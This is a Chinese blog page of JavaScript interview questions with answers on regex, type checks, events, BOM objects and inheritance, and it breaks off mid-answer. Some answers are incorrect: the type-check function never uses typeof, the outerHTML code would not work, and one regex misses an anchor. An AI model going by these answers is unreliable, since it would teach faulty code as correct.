<!doctype html>



  


<html class="theme-next muse use-motion">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>



<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />












  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css" />




  
  
  
  

  
    
    
  

  

  

  
    
      
    

    
  

  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Microsoft YaHei:300,300italic,400,400italic,700,700italic|consolas:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.4.0" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=5.0.2" rel="stylesheet" type="text/css" />


  <meta name="keywords" content="js,题库," />








  <link rel="shortcut icon" type="image/x-icon" href="http://ofy7k3v4s.bkt.clouddn.com/mylogo.png?v=5.0.2" />






<meta name="description" content="&amp;#x6B63;&amp;#x5219;&amp;#x8868;&amp;#x8FBE;&amp;#x5F0F;&amp;#x5199;&amp;#x51FA;&amp;#x7531;&amp;#x5B57;&amp;#x6BCD;&amp;#x5F00;&amp;#x5934;&amp;#xFF0C;&amp;#x5176;&amp;#x4F59;&amp;#x7531;&amp;#x6570;&amp;#x5B57;&amp;#x3001;&amp;#x5B57;&amp;#x6BCD;&amp;#x3001;&amp;#x4E0B;&amp;#x5212;&amp;#x7EBF;">
<meta property="og:type" content="article">
<meta property="og:title" content="题库-js 基础（下）">
<meta property="og:url" content="https://hongqinma.github.io/2015/07/26/e003-面试题库-js-基础（下）/index.html">
<meta property="og:site_name" content="HongqinMa' Blog">
<meta property="og:description" content="&amp;#x6B63;&amp;#x5219;&amp;#x8868;&amp;#x8FBE;&amp;#x5F0F;&amp;#x5199;&amp;#x51FA;&amp;#x7531;&amp;#x5B57;&amp;#x6BCD;&amp;#x5F00;&amp;#x5934;&amp;#xFF0C;&amp;#x5176;&amp;#x4F59;&amp;#x7531;&amp;#x6570;&amp;#x5B57;&amp;#x3001;&amp;#x5B57;&amp;#x6BCD;&amp;#x3001;&amp;#x4E0B;&amp;#x5212;&amp;#x7EBF;">
<meta property="og:updated_time" content="2016-12-08T15:04:00.670Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="题库-js 基础（下）">
<meta name="twitter:description" content="&amp;#x6B63;&amp;#x5219;&amp;#x8868;&amp;#x8FBE;&amp;#x5F0F;&amp;#x5199;&amp;#x51FA;&amp;#x7531;&amp;#x5B57;&amp;#x6BCD;&amp;#x5F00;&amp;#x5934;&amp;#xFF0C;&amp;#x5176;&amp;#x4F59;&amp;#x7531;&amp;#x6570;&amp;#x5B57;&amp;#x3001;&amp;#x5B57;&amp;#x6BCD;&amp;#x3001;&amp;#x4E0B;&amp;#x5212;&amp;#x7EBF;">



<script type="text/javascript" id="hexo.configuration">
  var NexT = window.NexT || {};
  var CONFIG = {
    scheme: 'Muse',
    sidebar: {"position":"left","display":"post"},
    fancybox: true,
    motion: true,
    duoshuo: {
      userId: '6347850919329138000',
      author: 'Hiraku'
    }
  };
</script>




  <link rel="canonical" href="https://hongqinma.github.io/2015/07/26/e003-面试题库-js-基础（下）/"/>


  <title> 题库-js 基础（下） | HongqinMa' Blog </title>
</head>

<body itemscope itemtype="//schema.org/WebPage" lang="en">

  



  <script type="text/javascript">
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "//hm.baidu.com/hm.js?10010323";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s);
    })();
  </script>








  
  
    
  

  <div class="container one-collumn sidebar-position-left page-post-detail ">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="//schema.org/WPHeader">
      <div class="header-inner"><div class="site-meta custom-logo">
  
    <div class="site-meta-headline">
      <a>
        <img class="custom-logo-image" src="http://ofy7k3v4s.bkt.clouddn.com/photo.jpg"
             alt="HongqinMa' Blog"/>
      </a>
    </div>
  

  <div class="custom-logo-site-title">
    <a href="/"  class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <span class="site-title">HongqinMa' Blog</span>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>
  <p class="site-subtitle">Spell at all costs， to rush you in the future。</p>
</div>

<div class="site-nav-toggle">
  <button>
    <span class="btn-bar"></span>
    <span class="btn-bar"></span>
    <span class="btn-bar"></span>
  </button>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br />
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-categories">
          <a href="/categories" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-th"></i> <br />
            
            Categories
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br />
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />
            
            Tags
          </a>
        </li>
      

      
    </ul>
  

  
</nav>

 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  
  

  
  
  

  <article class="post post-type-normal " itemscope itemtype="//schema.org/Article">

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
            
            
              
                题库-js 基础（下）
              
            
          </h1>
        

        <div class="post-meta">
          <span class="post-time">
            <span class="post-meta-item-icon">
              <i class="fa fa-calendar-o"></i>
            </span>
            <span class="post-meta-item-text">Posted on</span>
            <time itemprop="dateCreated" datetime="2015-07-26T22:23:21+08:00" content="2015-07-26">
              2015-07-26
            </time>
          </span>

          
            <span class="post-category" >
              &nbsp; | &nbsp;
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">In</span>
              
                <span itemprop="about" itemscope itemtype="https://schema.org/Thing">
                  <a href="/categories/经典题库/" itemprop="url" rel="index">
                    <span itemprop="name">经典题库</span>
                  </a>
                </span>

                
                

              
            </span>
          

          
            
              <span class="post-comments-count">
                &nbsp; | &nbsp;
                <a href="/2015/07/26/e003-面试题库-js-基础（下）/#comments" itemprop="discussionUrl">
                  <span class="post-comments-count ds-thread-count" data-thread-key="2015/07/26/e003-面试题库-js-基础（下）/" itemprop="commentsCount"></span>
                </a>
              </span>
            
          

          

          

          
              &nbsp; | &nbsp;
              <span class="page-pv"><i class="fa fa-file-o"></i>
              <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
              </span>
          

          
            <span id="busuanzi_container_page_pv">  <span id="busuanzi_value_page_pv"></span> Views</span>
          
        </div>
      </header>
    


    <div class="post-body" itemprop="articleBody">

      
      

      
        <h2 id="&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;"><a href="#&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;" class="headerlink" title="&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;"></a>&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;</h2><h3 id="&#x5199;&#x51FA;&#x7531;&#x5B57;&#x6BCD;&#x5F00;&#x5934;&#xFF0C;&#x5176;&#x4F59;&#x7531;&#x6570;&#x5B57;&#x3001;&#x5B57;&#x6BCD;&#x3001;&#x4E0B;&#x5212;&#x7EBF;&#x7EC4;&#x6210;&#x7684;-6-30-&#x7684;&#x5B57;&#x7B26;&#x4E32;"><a href="#&#x5199;&#x51FA;&#x7531;&#x5B57;&#x6BCD;&#x5F00;&#x5934;&#xFF0C;&#x5176;&#x4F59;&#x7531;&#x6570;&#x5B57;&#x3001;&#x5B57;&#x6BCD;&#x3001;&#x4E0B;&#x5212;&#x7EBF;&#x7EC4;&#x6210;&#x7684;-6-30-&#x7684;&#x5B57;&#x7B26;&#x4E32;" class="headerlink" title="&#x5199;&#x51FA;&#x7531;&#x5B57;&#x6BCD;&#x5F00;&#x5934;&#xFF0C;&#x5176;&#x4F59;&#x7531;&#x6570;&#x5B57;&#x3001;&#x5B57;&#x6BCD;&#x3001;&#x4E0B;&#x5212;&#x7EBF;&#x7EC4;&#x6210;&#x7684; 6~30 &#x7684;&#x5B57;&#x7B26;&#x4E32;"></a>&#x5199;&#x51FA;&#x7531;&#x5B57;&#x6BCD;&#x5F00;&#x5934;&#xFF0C;&#x5176;&#x4F59;&#x7531;&#x6570;&#x5B57;&#x3001;&#x5B57;&#x6BCD;&#x3001;&#x4E0B;&#x5212;&#x7EBF;&#x7EC4;&#x6210;&#x7684; 6~30 &#x7684;&#x5B57;&#x7B26;&#x4E32;</h3><p><code>^[a-zA-Z]{1}[\w]{5,29}$</code></p>
<h3 id="&#x5199;&#x51FA;&#x6B63;&#x786E;&#x7684;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x5339;&#x914D;&#x56FA;&#x8BDD;&#x53F7;"><a href="#&#x5199;&#x51FA;&#x6B63;&#x786E;&#x7684;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x5339;&#x914D;&#x56FA;&#x8BDD;&#x53F7;" class="headerlink" title="&#x5199;&#x51FA;&#x6B63;&#x786E;&#x7684;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x5339;&#x914D;&#x56FA;&#x8BDD;&#x53F7;"></a>&#x5199;&#x51FA;&#x6B63;&#x786E;&#x7684;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x5339;&#x914D;&#x56FA;&#x8BDD;&#x53F7;</h3><p>&#x533A;&#x53F7;3-4&#x4F4D;&#xFF0C;&#x7B2C;&#x4E00;&#x4F4D;&#x4E3A;0&#xFF0C;&#x4E2D;&#x6A2A;&#x7EBF;&#xFF0C;7-8&#x4F4D;&#x6570;&#x5B57;&#xFF0C;&#x4E2D;&#x6A2A;&#x7EBF;&#xFF0C;3-4&#x4F4D;&#x5206;&#x673A;&#x53F7;&#x683C;&#x5F0F;&#x7684;&#x56FA;&#x8BDD;&#x53F7;</p>
<p><code>^[0]\d{2,3}\-\d{7,8}\-\d{3,4}$</code></p>
<h3 id="&#x8981;&#x6C42;&#x6700;&#x77ED;6&#x4F4D;&#x6570;&#xFF0C;&#x6700;&#x957F;20&#x4F4D;&#xFF0C;&#x963F;&#x62C9;&#x4F2F;&#x6570;&#x548C;&#x82F1;&#x6587;&#x5B57;&#x6BCD;&#xFF08;&#x4E0D;&#x533A;&#x5206;&#x5927;&#x5C0F;&#x5199;&#xFF09;&#x7EC4;&#x6210;"><a href="#&#x8981;&#x6C42;&#x6700;&#x77ED;6&#x4F4D;&#x6570;&#xFF0C;&#x6700;&#x957F;20&#x4F4D;&#xFF0C;&#x963F;&#x62C9;&#x4F2F;&#x6570;&#x548C;&#x82F1;&#x6587;&#x5B57;&#x6BCD;&#xFF08;&#x4E0D;&#x533A;&#x5206;&#x5927;&#x5C0F;&#x5199;&#xFF09;&#x7EC4;&#x6210;" class="headerlink" title="&#x8981;&#x6C42;&#x6700;&#x77ED;6&#x4F4D;&#x6570;&#xFF0C;&#x6700;&#x957F;20&#x4F4D;&#xFF0C;&#x963F;&#x62C9;&#x4F2F;&#x6570;&#x548C;&#x82F1;&#x6587;&#x5B57;&#x6BCD;&#xFF08;&#x4E0D;&#x533A;&#x5206;&#x5927;&#x5C0F;&#x5199;&#xFF09;&#x7EC4;&#x6210;"></a>&#x8981;&#x6C42;&#x6700;&#x77ED;6&#x4F4D;&#x6570;&#xFF0C;&#x6700;&#x957F;20&#x4F4D;&#xFF0C;&#x963F;&#x62C9;&#x4F2F;&#x6570;&#x548C;&#x82F1;&#x6587;&#x5B57;&#x6BCD;&#xFF08;&#x4E0D;&#x533A;&#x5206;&#x5927;&#x5C0F;&#x5199;&#xFF09;&#x7EC4;&#x6210;</h3><p><code>^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z\d]{6,20}$</code></p>
<h2 id="&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;"><a href="#&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;" class="headerlink" title="&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;"></a>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> bool = !!<span class="number">2</span>; </div><div class="line">alert(bool)&#xFF1B;<span class="comment">//true;</span></div></pre></td></tr></table></figure>
<p>&#x53CC;&#x5411;&#x975E;&#x64CD;&#x4F5C;&#x53EF;&#x4EE5;&#x628A;&#x5B57;&#x7B26;&#x4E32;&#x548C;&#x6570;&#x5B57;&#x8F6C;&#x6362;&#x4E3A;&#x5E03;&#x5C14;&#x503C;&#x3002;</p>
<h2 id="&#x58F0;&#x660E;&#x5BF9;&#x8C61;&#xFF0C;&#x6DFB;&#x52A0;&#x5C5E;&#x6027;&#xFF0C;&#x8F93;&#x51FA;&#x5C5E;&#x6027;"><a href="#&#x58F0;&#x660E;&#x5BF9;&#x8C61;&#xFF0C;&#x6DFB;&#x52A0;&#x5C5E;&#x6027;&#xFF0C;&#x8F93;&#x51FA;&#x5C5E;&#x6027;" class="headerlink" title="&#x58F0;&#x660E;&#x5BF9;&#x8C61;&#xFF0C;&#x6DFB;&#x52A0;&#x5C5E;&#x6027;&#xFF0C;&#x8F93;&#x51FA;&#x5C5E;&#x6027;"></a>&#x58F0;&#x660E;&#x5BF9;&#x8C61;&#xFF0C;&#x6DFB;&#x52A0;&#x5C5E;&#x6027;&#xFF0C;&#x8F93;&#x51FA;&#x5C5E;&#x6027;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> obj = {</div><div class="line">  <span class="attr">name</span>: <span class="string">&apos;leipeng&apos;</span>,</div><div class="line">  <span class="attr">showName</span>: <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">    alert(<span class="keyword">this</span>.name);</div><div class="line">  }</div><div class="line">}</div><div class="line">obj.showName();</div></pre></td></tr></table></figure>
<h2 id="&#x5339;&#x914D;&#x8F93;&#x5165;&#x7684;&#x5B57;&#x7B26;&#xFF1A;&#x7B2C;&#x4E00;&#x4E2A;&#x5FC5;&#x987B;&#x662F;&#x5B57;&#x6BCD;&#x6216;&#x4E0B;&#x5212;&#x7EBF;&#x5F00;&#x5934;&#xFF0C;&#x957F;&#x5EA6;5-20"><a href="#&#x5339;&#x914D;&#x8F93;&#x5165;&#x7684;&#x5B57;&#x7B26;&#xFF1A;&#x7B2C;&#x4E00;&#x4E2A;&#x5FC5;&#x987B;&#x662F;&#x5B57;&#x6BCD;&#x6216;&#x4E0B;&#x5212;&#x7EBF;&#x5F00;&#x5934;&#xFF0C;&#x957F;&#x5EA6;5-20" class="headerlink" title="&#x5339;&#x914D;&#x8F93;&#x5165;&#x7684;&#x5B57;&#x7B26;&#xFF1A;&#x7B2C;&#x4E00;&#x4E2A;&#x5FC5;&#x987B;&#x662F;&#x5B57;&#x6BCD;&#x6216;&#x4E0B;&#x5212;&#x7EBF;&#x5F00;&#x5934;&#xFF0C;&#x957F;&#x5EA6;5-20"></a>&#x5339;&#x914D;&#x8F93;&#x5165;&#x7684;&#x5B57;&#x7B26;&#xFF1A;&#x7B2C;&#x4E00;&#x4E2A;&#x5FC5;&#x987B;&#x662F;&#x5B57;&#x6BCD;&#x6216;&#x4E0B;&#x5212;&#x7EBF;&#x5F00;&#x5934;&#xFF0C;&#x957F;&#x5EA6;5-20</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> reg = <span class="regexp">/^[a-zA-Z_][a-zA-Z0-9_]{5,20}/</span>,</div><div class="line">    name1 = <span class="string">&apos;leipeng&apos;</span>,</div><div class="line">    name2 = <span class="string">&apos;0leipeng&apos;</span>,</div><div class="line">    name3 = <span class="string">&apos;&#x4F60;&#x597D;leipeng&apos;</span>,</div><div class="line">    name4 = <span class="string">&apos;hi&apos;</span>;</div><div class="line">alert(reg.test(name1));</div><div class="line">alert(reg.test(name2));</div><div class="line">alert(reg.test(name3));</div><div class="line">alert(reg.test(name4));</div></pre></td></tr></table></figure>
<h2 id="&#x68C0;&#x6D4B;&#x53D8;&#x91CF;&#x7C7B;&#x578B;"><a href="#&#x68C0;&#x6D4B;&#x53D8;&#x91CF;&#x7C7B;&#x578B;" class="headerlink" title="&#x68C0;&#x6D4B;&#x53D8;&#x91CF;&#x7C7B;&#x578B;"></a>&#x68C0;&#x6D4B;&#x53D8;&#x91CF;&#x7C7B;&#x578B;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkStr</span>(<span class="params">str</span>)</span>{</div><div class="line">  <span class="keyword">return</span> str == <span class="string">&apos;string&apos;</span>;</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(checkStr(<span class="string">&quot;aaa&quot;</span>));</div></pre></td></tr></table></figure>
<h2 id="&#x5982;&#x4F55;&#x5728;HTML&#x4E2D;&#x6DFB;&#x52A0;&#x4E8B;&#x4EF6;"><a href="#&#x5982;&#x4F55;&#x5728;HTML&#x4E2D;&#x6DFB;&#x52A0;&#x4E8B;&#x4EF6;" class="headerlink" title="&#x5982;&#x4F55;&#x5728;HTML&#x4E2D;&#x6DFB;&#x52A0;&#x4E8B;&#x4EF6;"></a>&#x5982;&#x4F55;&#x5728;HTML&#x4E2D;&#x6DFB;&#x52A0;&#x4E8B;&#x4EF6;</h2><blockquote>
<p>&#x6807;&#x7B7E;&#x4E4B;&#x4E2D;&#x76F4;&#x63A5;&#x6DFB;&#x52A0; onclick=&#x201D;fun()&#x201D;;<br>JS&#x6DFB;&#x52A0; Eobj.onclick = method;<br>&#x73B0;&#x4EE3;&#x4E8B;&#x4EF6;  IE&#xFF1A; obj.attachEvent(&#x2018;onclick&#x2019;, method)&#xFF1B;<br>FF: obj.addEventListener(&#x2018;click&#x2019;, method, false);</p>
</blockquote>
<h2 id="BOM&#x5BF9;&#x8C61;&#x6709;&#x54EA;&#x4E9B;&#xFF0C;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;"><a href="#BOM&#x5BF9;&#x8C61;&#x6709;&#x54EA;&#x4E9B;&#xFF0C;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;" class="headerlink" title="BOM&#x5BF9;&#x8C61;&#x6709;&#x54EA;&#x4E9B;&#xFF0C;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;"></a>BOM&#x5BF9;&#x8C61;&#x6709;&#x54EA;&#x4E9B;&#xFF0C;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;</h2><blockquote>
<p>window&#x5BF9;&#x8C61; &#xFF0C;&#x662F;JS&#x7684;&#x6700;&#x9876;&#x5C42;&#x5BF9;&#x8C61;&#xFF0C;&#x5176;&#x4ED6;&#x7684;BOM&#x5BF9;&#x8C61;&#x90FD;&#x662F;window&#x5BF9;&#x8C61;&#x7684;&#x5C5E;&#x6027;&#xFF1B;<br>document&#x5BF9;&#x8C61;&#xFF0C;&#x6587;&#x6863;&#x5BF9;&#x8C61;&#xFF1B;<br>location&#x5BF9;&#x8C61;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5F53;&#x524D;URL&#x4FE1;&#x606F;&#xFF1B;<br>navigator&#x5BF9;&#x8C61;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x672C;&#x8EAB;&#x4FE1;&#x606F;&#xFF1B;<br>screen&#x5BF9;&#x8C61;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x5C4F;&#x5E55;&#x4FE1;&#x606F;&#xFF1B;<br>history&#x5BF9;&#x8C61;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE;&#x5386;&#x53F2;&#x4FE1;&#x606F;&#xFF1B;</p>
</blockquote>
<h2 id="&#x4EE3;&#x7801;&#x5B9E;&#x73B0;-outerHTML"><a href="#&#x4EE3;&#x7801;&#x5B9E;&#x73B0;-outerHTML" class="headerlink" title="&#x4EE3;&#x7801;&#x5B9E;&#x73B0; outerHTML"></a>&#x4EE3;&#x7801;&#x5B9E;&#x73B0; outerHTML</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x8BF4;&#x660E;&#xFF1A;outerHTML&#x5176;&#x5B9E;&#x5C31;&#x662F;innerHTML&#x518D;&#x52A0;&#x4E0A;&#x672C;&#x8EAB;&#xFF1B;</span></div><div class="line">  <span class="built_in">Object</span>.prototype.outerHTML = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">    <span class="keyword">var</span> innerCon = <span class="keyword">this</span>.innerHTML, <span class="comment">//&#x83B7;&#x5F97;&#x91CC;&#x9762;&#x7684;&#x5185;&#x5BB9;</span></div><div class="line">        outerCon = <span class="keyword">this</span>.appendChild(innerCon); <span class="comment">//&#x6DFB;&#x52A0;&#x5230;&#x91CC;&#x9762;</span></div><div class="line">    alert(outerCon); </div><div class="line">  }</div></pre></td></tr></table></figure>
<p>&#x6F14;&#x793A;&#x4EE3;&#x7801;&#xFF1A;</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;!doctype html&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">head</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></div><div class="line">  <span class="tag">&lt;/<span class="name">head</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">body</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;outer&quot;</span>&gt;</span></div><div class="line">       hello</div><div class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">    <span class="built_in">Object</span>.prototype.outerHTML = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</div><div class="line">      <span class="keyword">var</span> innerCon = <span class="keyword">this</span>.innerHTML, <span class="comment">//&#x83B7;&#x5F97;&#x91CC;&#x9762;&#x7684;&#x5185;&#x5BB9;</span></div><div class="line">      outerCon = <span class="keyword">this</span>.appendChild(innerCon); <span class="comment">//&#x6DFB;&#x52A0;&#x5230;&#x91CC;&#x9762;</span></div><div class="line">      alert(outerCon); </div><div class="line">    }</div><div class="line">    <span class="function"><span class="keyword">function</span> <span class="title">$</span>(<span class="params">id</span>)</span>{</div><div class="line">      <span class="keyword">return</span> <span class="built_in">document</span>.getElementById(id);</div><div class="line">    }</div><div class="line">    alert($(<span class="string">&apos;outer&apos;</span>).innerHTML);</div><div class="line">    alert($(<span class="string">&apos;outer&apos;</span>).outerHTML);</div><div class="line">  <span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></div></pre></td></tr></table></figure>
<h2 id="JS&#x4E2D;&#x7684;&#x7B80;&#x5355;&#x7EE7;&#x627F;-call&#x65B9;&#x6CD5;&#xFF01;"><a href="#JS&#x4E2D;&#x7684;&#x7B80;&#x5355;&#x7EE7;&#x627F;-call&#x65B9;&#x6CD5;&#xFF01;" class="headerlink" title="JS&#x4E2D;&#x7684;&#x7B80;&#x5355;&#x7EE7;&#x627F; call&#x65B9;&#x6CD5;&#xFF01;"></a>JS&#x4E2D;&#x7684;&#x7B80;&#x5355;&#x7EE7;&#x627F; call&#x65B9;&#x6CD5;&#xFF01;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x6CE8;&#x610F;&#xFF1A;&#x7C7B;&#x540D;&#x90FD;&#x662F;&#x9996;&#x5B57;&#x6BCD;&#x5927;&#x5199;</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">Parent</span>(<span class="params">name, money</span>)</span>{</div><div class="line">  <span class="keyword">this</span>.name = name;</div><div class="line">  <span class="keyword">this</span>.money = money;</div><div class="line">  <span class="keyword">this</span>.info = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">    alert(<span class="string">&apos;&#x59D3;&#x540D;&#xFF1A; &apos;</span>+<span class="keyword">this</span>.name+<span class="string">&apos; &#x94B1;&#xFF1A; &apos;</span>+ <span class="keyword">this</span>.money);</div><div class="line">  }</div><div class="line">}</div><div class="line"><span class="comment">//&#x5B9A;&#x4E49;&#x5B69;&#x5B50;&#x7C7B;</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">Children</span>(<span class="params">name</span>)</span>{</div><div class="line">  Parent.call(<span class="keyword">this</span>, name); <span class="comment">//&#x7EE7;&#x627F; &#x59D3;&#x540D;&#x5C5E;&#x6027;&#xFF0C;&#x4E0D;&#x8981;&#x94B1;&#x3002;  </span></div><div class="line">  <span class="keyword">this</span>.info = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">    alert(<span class="string">&apos;&#x59D3;&#x540D;&#xFF1A; &apos;</span>+<span class="keyword">this</span>.name);</div><div class="line">  }</div><div class="line">}</div><div class="line"><span class="comment">//&#x5B9E;&#x4F8B;&#x5316;&#x7C7B;</span></div><div class="line"><span class="keyword">var</span> per = <span class="keyword">new</span> Parent(<span class="string">&apos;parent&apos;</span>, <span class="number">800000000000</span>);</div><div class="line"><span class="keyword">var</span> chi = <span class="keyword">new</span> Children(<span class="string">&apos;child&apos;</span>);</div><div class="line">per.info();</div><div class="line">chi.info();</div></pre></td></tr></table></figure>
<h2 id="bind-live-delegate-&#x7684;&#x533A;&#x522B;"><a href="#bind-live-delegate-&#x7684;&#x533A;&#x522B;" class="headerlink" title="bind(), live(), delegate()&#x7684;&#x533A;&#x522B;"></a>bind(), live(), delegate()&#x7684;&#x533A;&#x522B;</h2><blockquote>
<p>bind&#xFF1A; &#x7ED1;&#x5B9A;&#x4E8B;&#x4EF6;&#xFF0C;&#x5BF9;&#x65B0;&#x6DFB;&#x52A0;&#x7684;&#x4E8B;&#x4EF6;&#x4E0D;&#x8D77;&#x4F5C;&#x7528;&#xFF0C;&#x65B9;&#x6CD5;&#x7528;&#x4E8E;&#x5C06;&#x4E00;&#x4E2A;&#x5904;&#x7406;&#x7A0B;&#x5E8F;&#x9644;&#x52A0;&#x5230;&#x6BCF;&#x4E2A;&#x5339;&#x914D;&#x5143;&#x7D20;&#x7684;&#x4E8B;&#x4EF6;&#x4E0A;&#x5E76;&#x8FD4;&#x56DE;jQuery&#x5BF9;&#x8C61;&#x3002;<br>live&#xFF1A; &#x65B9;&#x6CD5;&#x5C06;&#x4E00;&#x4E2A;&#x4E8B;&#x4EF6;&#x5904;&#x7406;&#x7A0B;&#x5E8F;&#x9644;&#x52A0;&#x5230;&#x4E0E;&#x5F53;&#x524D;&#x9009;&#x62E9;&#x5668;&#x5339;&#x914D;&#x7684;&#x6240;&#x6709;&#x5143;&#x7D20;&#xFF08;&#x5305;&#x542B;&#x73B0;&#x6709;&#x7684;&#x6216;&#x5C06;&#x6765;&#x6DFB;&#x52A0;&#x7684;&#xFF09;&#x7684;&#x6307;&#x5B9A;&#x4E8B;&#x4EF6;&#x4E0A;&#x5E76;&#x8FD4;&#x56DE;jQuery&#x5BF9;&#x8C61;&#x3002;<br>delegate&#xFF1A; 